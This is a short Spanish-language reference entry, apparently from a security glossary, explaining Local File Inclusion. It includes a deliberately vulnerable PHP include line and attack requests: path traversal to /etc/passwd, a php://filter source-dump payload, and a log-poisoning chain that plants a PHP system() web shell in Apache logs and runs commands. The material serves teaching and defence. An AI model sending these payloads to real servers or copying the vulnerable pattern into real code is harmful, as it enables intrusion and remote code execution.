LFI
AltoLocal File Inclusion
Definición
Local File Inclusion (LFI) es una vulnerabilidad que permite a un atacante incluir archivos locales del servidor a través de la manipulación de parámetros de entrada. A diferencia del Path Traversal que solo lee archivos, LFI puede ejecutar código si el archivo incluido contiene código del lenguaje del servidor (PHP, JSP, etc.).
Impacto
Ejemplos
LFI básico en PHP
El código PHP incluye un archivo basado en un parámetro del usuario. Usando wrappers de PHP como php://filter, el atacante puede leer el código fuente de cualquier archivo PHP del servidor codificado en Base64.
# Código vulnerable <?php include($_GET['page'] . '.php'); ?> # Petición legítima GET /index.php?page=about # Ataque LFI GET /index.php?page=../../../etc/passwd%00 GET /index.php?page=php://filter/convert.base64-encode/resource=config
LFI a RCE vía Log Poisoning
El atacante primero inyecta código PHP en los logs del servidor web. Luego usa LFI para incluir el archivo de log, ejecutando el código PHP inyectado con capacidad de ejecutar comandos del sistema.
# 1. Envenenar los logs de acceso de Apache GET /<?php system($_GET['cmd']); ?> HTTP/1.1 Host: victima.com # 2. Incluir el log envenenado vía LFI GET /index.php?page=../../../var/log/apache2/access.log&cmd=id